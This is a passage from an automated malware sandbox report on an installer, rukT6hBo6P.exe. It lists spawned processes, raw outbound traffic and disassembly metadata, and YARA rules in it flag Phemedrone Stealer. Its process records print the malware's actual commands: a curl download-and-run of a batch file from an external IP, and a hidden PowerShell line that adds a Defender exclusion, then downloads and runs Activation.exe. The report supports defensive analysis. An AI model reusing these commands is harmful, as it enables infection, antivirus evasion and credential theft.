2024-12-04 14:12:52 UTC	145	OUT	Data Raw: ec 89 88 e6 cf 40 5a f1 3c 23 00 d3 4a 97 21 5a 16 6b ff 2d 95 ca 3f 69 ff 5d 6b 22 02 30 b5 c7 2b 46 f8 49 ec 73 6d ff 15 d9 27 e7 2a 00 b5 1a 50 05 a0 44 2a fe a4 0a 50 aa 01 45 02 ca b5 08 3f 89 9c ab 14 94 88 f4 d3 68 0b b0 48 c0 7a 05 60 50 cb af e6 84 91 e5 e8 38 b8 0c ab 0a ce 88 c9 be 1a b9 e7 09 be 98 f0 6b d7 3a 16 3d 6f 83 aa 5e 79 d8 b7 6a b9 f9 21 0a 5f 7d f5 15 be fc f2 cb 1a 01 b8 7f 3f f6 ed db 87 bd 7b f7 62 cf 9e Data Ascii: @Z<#J!Zk-?i]k"0+FIsm'PDPE?hHz`P8k:=o^yj!_}?{b
2024-12-04 14:12:52 UTC	16355	OUT	Data Raw: 3d f8 e4 ed 0a 54 cf cb c5 87 d3 dc e7 a7 b4 c6 a6 f1 2d 31 f2 e1 a3 4b 00 7e d3 ec 30 02 b0 6e f9 87 2d 7f 47 d5 5c 11 80 b1 23 21 84 10 42 be 36 fc e2 2e d9 50 00 12 42 08 21 84 24 87 2d 00 53 bb 8d 32 02 30 35 7f 3a 52 0b 66 23 b5 68 01 52 8b 97 98 0a c0 54 59 fb cf c8 bf 35 08 97 7a 89 74 97 75 ff 64 07 e0 f5 a6 f2 4f cf c3 65 eb dc 67 d6 21 5a b6 3e b6 ee 5f 62 4c 65 a0 fb 7c 5a 99 08 3f a9 06 f4 76 06 96 cd 41 4c bb af 1b 5b fa 19 f1 67 8d 89 14 14 e9 27 f2 4f 2b 02 1b 2d 00 a3 a3 b6 e0 d4 e1 3d 70 9a 9b 2b ff 91 13 17 7b d2 c6 9b 28 fd bc bc 17 8b b4 f8 ee 2a bf 0f 5f ee de 6d 7e 80 ca 07 1f 7d 89 49 ab 3e c7 d3 b3 3e c3 53 33 f7 60 e6 2b 9f e1 95 cd 9f c5 05 e0 6e 77 fe ae ea f7 f1 e1 ea 3b b1 65 4a 06 36 8d cf c0 8b fd ba b1 02 b0 16 1a f3 ae 1d Data Ascii: =T-1K~0n-G\#!B6.PB!$-S205:Rf#hRTY5ztudOeg!Z>_bLe\|Z?vAL[g'O+-=p+{(*_m~}I>>S3`+nw;eJ6
2024-12-04 14:12:52 UTC	16355	OUT	Data Raw: b0 4e b3 fa 34 d3 4f 85 1f 96 ed fe ff ea 3a 37 99 8c 3f f4 f1 87 88 13 80 90 7f 51 01 08 e9 87 2c 40 9d a7 00 24 23 c2 4e 23 00 2b cb 3f d9 72 8a 6c 9b 0f 01 e8 4f 09 21 84 10 52 91 38 b1 97 36 28 00 09 21 84 10 42 b2 a3 f7 4f e3 bb 2f 92 fc 84 99 92 9f 7c 8f c9 00 44 1f 80 c5 ce d5 52 ec 5a 6f 9a 00 43 00 d6 75 3f 64 04 20 e4 1e 06 06 81 00 c4 c0 20 2a ff 20 fe 10 58 87 65 34 19 86 f8 d3 7e fd 6c 01 a8 12 30 2a 00 75 b0 0f 15 7e 1a c1 a8 bf ad ab 03 e9 a7 f3 58 4f 01 38 86 18 2b 19 80 51 06 53 d7 ce a5 53 64 c7 12 3f 16 4f 36 83 7c 20 d0 d7 1f 9a fb 22 e3 0f d2 6f eb fc 89 66 ba 7d 71 a7 bf 27 21 84 10 42 92 88 13 7b 69 83 02 90 10 42 08 21 24 3b 25 01 78 a1 d4 1e 77 bb d4 4e b8 4b 9c 49 0f 18 01 58 d7 b5 46 c6 4d 7d 50 8a 3d 9b a4 ae fb 41 29 74 96 9a Data Ascii: N4O:7?Q,@$#N#+?rlO!R86(!BO/\|DRZoCu?d * Xe4~l0*u~XO8+QSSd?O6\| "of}q'!B{iB!$;%xwNKIXFM}P=A)t
2024-12-04 14:12:52 UTC	16355	OUT	Data Raw: df 82 b1 cc d0 3f df 6a bc 11 9f 6d d2 6b 1e ac ef 67 f0 8c dd df bf 83 8f a8 b8 8b 4a bf e8 72 34 28 00 c9 68 33 36 ae ff 83 e3 fb cb 7b 9d a1 c1 7b 89 ac 8c ec fb c9 f6 79 bc 11 e7 76 6c 53 f9 fc 79 b2 af 4c 00 1b e9 f6 06 49 36 bc 76 70 40 09 c7 f7 06 33 94 bf 47 b6 00 d4 0c c0 da c9 77 9b 26 c0 10 80 75 9d 03 52 e8 44 76 1e 24 e0 2a 33 08 08 fa ff 83 00 cc 19 09 b8 ce cb 02 74 d7 1b d1 e7 06 06 01 d1 c1 40 d0 14 d8 0c 0a 82 8c 41 64 0e c6 c8 3f 84 bd de ee 1b d0 ce 00 c4 54 07 fd d0 ec 3f 5d 37 e2 02 30 75 8c ba 00 b4 d7 47 ca 84 52 55 f5 02 f2 cb f4 95 d2 6c 6d bb de df ab e5 dd 08 be e9 fe 3e fd a5 fa b0 c9 fc 87 c3 5f 0e 19 fa d8 d7 25 87 0a 43 f9 c1 19 59 86 eb 1a f1 7e e8 f5 bb ed 5d 06 a5 fd ec ef bd 09 bd 4e 52 7e ef b3 dd 44 28 59 de 03 b6 eb Data Ascii: ?jmkgJr4(h36{{yvlSyLI6vp@3Gw&uRDv$*3t@Ad?T?]70uGRUlm>_%CY~]NR~D(Y
2024-12-04 14:12:52 UTC	16355	OUT	Data Raw: c5 8e 25 92 6f 5f 2c b9 b6 c5 21 01 88 3e 00 21 ee 20 fe 54 e0 a9 cc d3 65 5b ec 41 fc 61 1e 99 82 98 b7 9b 08 eb 72 50 ce 17 7f 2a fd 30 8f e6 c0 08 88 41 08 c0 62 cb 12 f7 f9 21 2a 00 d1 74 d7 f4 db f7 94 d7 6c f7 bf bf cf 8d 9f ba cb 4f 4a df b4 8f 78 cd 78 8f 3a d5 db 6e 1e 42 f0 80 b0 59 36 bb cf 02 78 98 70 8e fe a8 fb 90 72 4e bc 00 44 06 e0 57 ee 11 b9 ff a7 9e 0c fc 1f 6e fd 3f 59 24 72 ef 77 4d 3d 26 03 f0 9f dc 3a 6b 6a c4 79 cb 57 e4 8e 03 8f ca 59 ff 88 d7 f8 6c 29 03 10 db 3e fc 4b 99 ff d4 22 f9 ce 94 f1 55 6f 58 f7 ac 68 4a 25 ff fe bc e5 74 79 76 d1 64 f9 f3 6b cf fb 7b 5a 58 0f 50 ee 42 49 06 1a f0 90 e4 1e 97 6e 37 0f f7 b6 70 a8 b4 cd ae 07 84 05 60 09 bb 6c dc 7e 4a a5 6d 84 1c ca f8 d7 9a 15 de 75 94 74 ed 44 ae 95 58 a1 11 bd 9e bc Data Ascii: %o_,!>! Te[AarP0Ab!tlOJxx:nBY6xprNDWn?Y$rwM=&:kjyWYl)>K"UoXhJ%tyvdk{ZXPBIn7p`l~JmutDX
2024-12-04 14:12:52 UTC	25	IN	HTTP/1.1 100 Continue
2024-12-04 14:12:55 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Wed, 04 Dec 2024 14:12:54 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Target ID:	0
Start time:	09:11:53
Start date:	04/12/2024
Path:	C:\Users\user\Desktop\rukT6hBo6P.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rukT6hBo6P.exe"
Imagebase:	0xef0000
File size:	13'585'067 bytes
MD5 hash:	59671C9EA5E5CCD0EDD62D4EB3ACDFE0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:11:54
Start date:	04/12/2024
Path:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp" /SL5="$20478,12507492,845824,C:\Users\user\Desktop\rukT6hBo6P.exe"
Imagebase:	0xdb0000
File size:	3'366'912 bytes
MD5 hash:	2148201238CF25C0F9A90442D38D82AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:12:20
Start date:	04/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c start C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs
Imagebase:	0xd70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:12:20
Start date:	04/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:12:21
Start date:	04/12/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs"
Imagebase:	0x670000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:12:21
Start date:	04/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat
Imagebase:	0xd70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:12:21
Start date:	04/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:12:21
Start date:	04/12/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat
Imagebase:	0xd0000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:12:23
Start date:	04/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit
Imagebase:	0x720000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:12:25
Start date:	04/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6616b0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	09:12:26
Start date:	04/12/2024
Path:	C:\Program Files (x86)\Fzilla\filezilla.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Fzilla\filezilla.exe"
Imagebase:	0x7ff7b8c50000
File size:	4'237'896 bytes
MD5 hash:	71E87D8F4AB33DD57BFF41F76C339E64
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	09:12:32
Start date:	04/12/2024
Path:	C:\Users\user\AppData\Local\Activation.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Activation.exe"
Imagebase:	0x300000
File size:	3'361'979 bytes
MD5 hash:	AA3A94BA72728DF41A815B060F5E9C52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 0000000E.00000002.2069931701.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 0000000E.00000002.2069931701.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 0000000E.00000002.2064893036.0000000003455000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 0000000E.00000002.2064893036.000000000346C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 0000000E.00000002.2069931701.0000000004393000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 0000000E.00000002.2069931701.0000000004393000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 0000000E.00000002.2064893036.000000000347A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 0000000E.00000002.2069931701.00000000043F3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 0000000E.00000002.2069931701.00000000043F3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 0000000E.00000002.2064893036.0000000003392000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 0000000E.00000002.2064893036.0000000003392000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 0000000E.00000002.2069931701.0000000004475000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 0000000E.00000002.2069931701.0000000004475000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:12:54
Start date:	04/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2044 -s 2444
Imagebase:	0x3c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 06D7B4A0 Relevance: 6.5, Strings: 5, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

KUKl^, xrefs: 06D7B738, 06D7B73D
;UKl^, xrefs: 06D7B770, 06D7B775
kUKl^, xrefs: 06D7B6C8, 06D7B6CD
{UKl^, xrefs: 06D7B69C
[UKl^, xrefs: 06D7B700, 06D7B705

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID: ;UKl^$KUKl^$[UKl^$kUKl^${UKl^
API String ID: 0-4265393240
Opcode ID: a308f8f0c83e64d67dd773eb615507e5f9a3ec26b56f98bc45ac2cf582417e66
Instruction ID: 2e2b52006671e48013545e0e10f2936807af2ed12cd18aa5a2e1cce8a5030ef5
Opcode Fuzzy Hash: a308f8f0c83e64d67dd773eb615507e5f9a3ec26b56f98bc45ac2cf582417e66
Instruction Fuzzy Hash: FD919370B007149BDB55EFB888106AE7BE2EFC4700B418A1DD516EB344EF76AE058BD6

Function 077124D8 Relevance: 25.1, Strings: 19, Instructions: 1387COMMON

Download Yara Rule

Strings

4'q, xrefs: 07712BE7
$q, xrefs: 07712CE0
tPq, xrefs: 0771305C
4'q, xrefs: 07712BDB
4'q, xrefs: 07712EEE
l, xrefs: 07712D8F
4'q, xrefs: 0771260D
tPq, xrefs: 07713330
tPq, xrefs: 07713324
4'q, xrefs: 077131C0
4'q, xrefs: 07712EF8
4'q, xrefs: 077131B6
l, xrefs: 07712D9D
$q, xrefs: 07712CBA
tPq, xrefs: 07712D31
4'q, xrefs: 07712619
tPq, xrefs: 07713068
$q, xrefs: 07712CEC
tPq, xrefs: 07712D25

Memory Dump Source

Source File: 0000000A.00000002.1785762862.0000000007710000.00000040.00000800.00020000.00000000.sdmp, Offset: 07710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7710000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$4'q$4'q$4'q$4'q$tPq$tPq$tPq$tPq$tPq$tPq$$q$$q$$q$l$l
API String ID: 0-3910847140
Opcode ID: bc8c73bd376b5403e1c98781901b3f3788a0129c26b8bc44f5ac2a10b95de733
Instruction ID: 8fdd9b39a7ab93461870f7d885e59917218de214cc8dc4fe33452c170e3d87bc
Opcode Fuzzy Hash: bc8c73bd376b5403e1c98781901b3f3788a0129c26b8bc44f5ac2a10b95de733
Instruction Fuzzy Hash: ABA269B1B043069FDB258F6C88117AABBF2AF86251F14C4BBD545DB292DB35CC41C7A2

Function 07713CE8 Relevance: 5.6, Strings: 4, Instructions: 577
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'q, xrefs: 07714026
4'q, xrefs: 07714030
4'q, xrefs: 07714180
4'q, xrefs: 0771418A

Memory Dump Source

Source File: 0000000A.00000002.1785762862.0000000007710000.00000040.00000800.00020000.00000000.sdmp, Offset: 07710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7710000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q
API String ID: 0-4210068417
Opcode ID: 602dfdd82a2ac5d651f905cbb9a0f43000eb57efb794b1e83258b9783711621e
Instruction ID: acf61385d0e0277944c5feda63f8b6279511fefc615932239adba21d6d5aed4e
Opcode Fuzzy Hash: 602dfdd82a2ac5d651f905cbb9a0f43000eb57efb794b1e83258b9783711621e
Instruction Fuzzy Hash: 771256F1B043529FDB259A7C880176ABBB29FC2295F28C8BBD545DB241DB31CD42C792

Function 08A06438 Relevance: 1.6, APIs: 1, Instructions: 50
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE ref: 08A064A2

Memory Dump Source

Source File: 0000000A.00000002.1793166455.0000000008A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8a00000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: ff8ae926bc9f70699492b2b4be595b818b1ef9d0ab39f1d86fd3cf57311cfbae
Instruction ID: 7f8755211a6fd977d5b54d6fbc0280cfec9f716b85cfd020a010ff27c660dc64
Opcode Fuzzy Hash: ff8ae926bc9f70699492b2b4be595b818b1ef9d0ab39f1d86fd3cf57311cfbae
Instruction Fuzzy Hash: 101158B59003488FDB10DF9AD584BDEFBF4AF88324F248419D459A7750C7B5A944CFA0

Function 08A06440 Relevance: 1.5, APIs: 1, Instructions: 48
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE ref: 08A064A2

Memory Dump Source

Source File: 0000000A.00000002.1793166455.0000000008A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8a00000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: 36a708fa7de8264f80b9d5a791dacc4a8d83fb0e18ea131cd66dfc2b035534da
Instruction ID: e3262d0d6c556b5f4bfb6146e9b6f1cdae474fe4ee41fff8fd8cce10d6979287
Opcode Fuzzy Hash: 36a708fa7de8264f80b9d5a791dacc4a8d83fb0e18ea131cd66dfc2b035534da
Instruction Fuzzy Hash: 491125B59003488FDB10DF9AD544BDEFBF8EF88324F248419D418A7650C7B5A984CFA0

Function 06D76FE0 Relevance: 1.4, Strings: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(q, xrefs: 06D77105

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID: (q
API String ID: 0-2414175341
Opcode ID: f57abe65dbc91ad51b29110c5268b9cb83d8074b3ec48f549aeb8293cae0de58
Instruction ID: 296b053384f9c310b7114d79e6ba70e66c2db73e64e4094df7cdbaa1433cc395
Opcode Fuzzy Hash: f57abe65dbc91ad51b29110c5268b9cb83d8074b3ec48f549aeb8293cae0de58
Instruction Fuzzy Hash: 25415934B00204CFDB54DF65C468AAEBBF2EF8A611F1444A8E402AB391DB76DD42CB61

Function 06D7AFA8 Relevance: 1.3, Strings: 1, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(&q, xrefs: 06D7AFCA

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID: (&q
API String ID: 0-583763264
Opcode ID: 5b21082a528d49bcb39e905d61172a6bd4bca4f829b0d580fe3933fd2ab49710
Instruction ID: be1960488dc4b3fc30baae79247de218b9641525267328ae9a559d1b2dffa763
Opcode Fuzzy Hash: 5b21082a528d49bcb39e905d61172a6bd4bca4f829b0d580fe3933fd2ab49710
Instruction Fuzzy Hash: AD21AE71A003488FCB14DFAAD44479EBBF5EB89220F24846AD418E7340DA75A845CBA5

Function 06D729F0 Relevance: .2, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 173ecccab2498ed11be2aa9cc2d1038dec22224f13338c6bf5ed081e7a982385
Instruction ID: 8616bc6192c1caee9453f6e5d1a704473beef94caec7f4eb2e8b5b343981c173
Opcode Fuzzy Hash: 173ecccab2498ed11be2aa9cc2d1038dec22224f13338c6bf5ed081e7a982385
Instruction Fuzzy Hash: 0DA1CF70A046458FCB06CF58C494AAEFBF1FF49310B24819AC855EB3A5D335ED91CBA1

Function 06D7BAD0 Relevance: .2, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92d9645ce7be4315f90e56b0aa162d050de819e4efbcc85ebc33b4eabe795465
Instruction ID: 3ac35610f5655cab6d297d161b61edaf6653a042c757c8f189fe64de4c393260
Opcode Fuzzy Hash: 92d9645ce7be4315f90e56b0aa162d050de819e4efbcc85ebc33b4eabe795465
Instruction Fuzzy Hash: 20611671E002089FDB54DFA9D984BDDBBF1EF88311F19812AE819AB350EB709C45CB61

Function 06D77740 Relevance: .2, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13d0cb9ff823c00d7bb8a1f7962af3883364bd12bae3b9bfdce1a4f6a65053b5
Instruction ID: 32720bbcd02bd1a5049df17c503e1a42ef15f7faa2b8c8d2c82aa5f341c02a6d
Opcode Fuzzy Hash: 13d0cb9ff823c00d7bb8a1f7962af3883364bd12bae3b9bfdce1a4f6a65053b5
Instruction Fuzzy Hash: B051BF317042019FE7449B65D854B2A77EAFFC9214B24896AE44ACB351EB35DC01CBA2

Function 06D7BAC0 Relevance: .2, Instructions: 153
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3936d0a2cf7fb3ef238ab4835a4883fc3cf100913ab5ddb5be99173e7efd63bc
Instruction ID: 59322d61eaf4393799f00b2fc37346d45deb01eab0a874687f17f17319c67141
Opcode Fuzzy Hash: 3936d0a2cf7fb3ef238ab4835a4883fc3cf100913ab5ddb5be99173e7efd63bc
Instruction Fuzzy Hash: 41513774E00248DFDB54DFA9D484B8DFBF1EF88315F19806AE809AB354EB709845CB61

Function 06D7E5D8 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70932f15bfde9fced453bda3b2f529c2f4b2347b435636e3ac14f4127d8d52fb
Instruction ID: 9149a826806c7ecc5ab8a13232acd229a2ea588308019ca889e88f948b117827
Opcode Fuzzy Hash: 70932f15bfde9fced453bda3b2f529c2f4b2347b435636e3ac14f4127d8d52fb
Instruction Fuzzy Hash: 3151CF74B10305CFDB11EB68C494A6EBBE6EFC82047558599D449CF362EBB0EC41CBA2

Function 06D7E5E8 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb9b95c4c06d3c48b6682716af651393d9c480880d8860478d4e5057d3f26ce0
Instruction ID: de395a6afe0b00140aed3fffc55098c8254dfddac9e18081a43d0f855463ba7a
Opcode Fuzzy Hash: eb9b95c4c06d3c48b6682716af651393d9c480880d8860478d4e5057d3f26ce0
Instruction Fuzzy Hash: 3A419F74B10205CFDB10EF68C494A6EB7E6EFC820475484A9E549CF365EBB0EC41CBA2

Function 06D76FB1 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1775384352.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
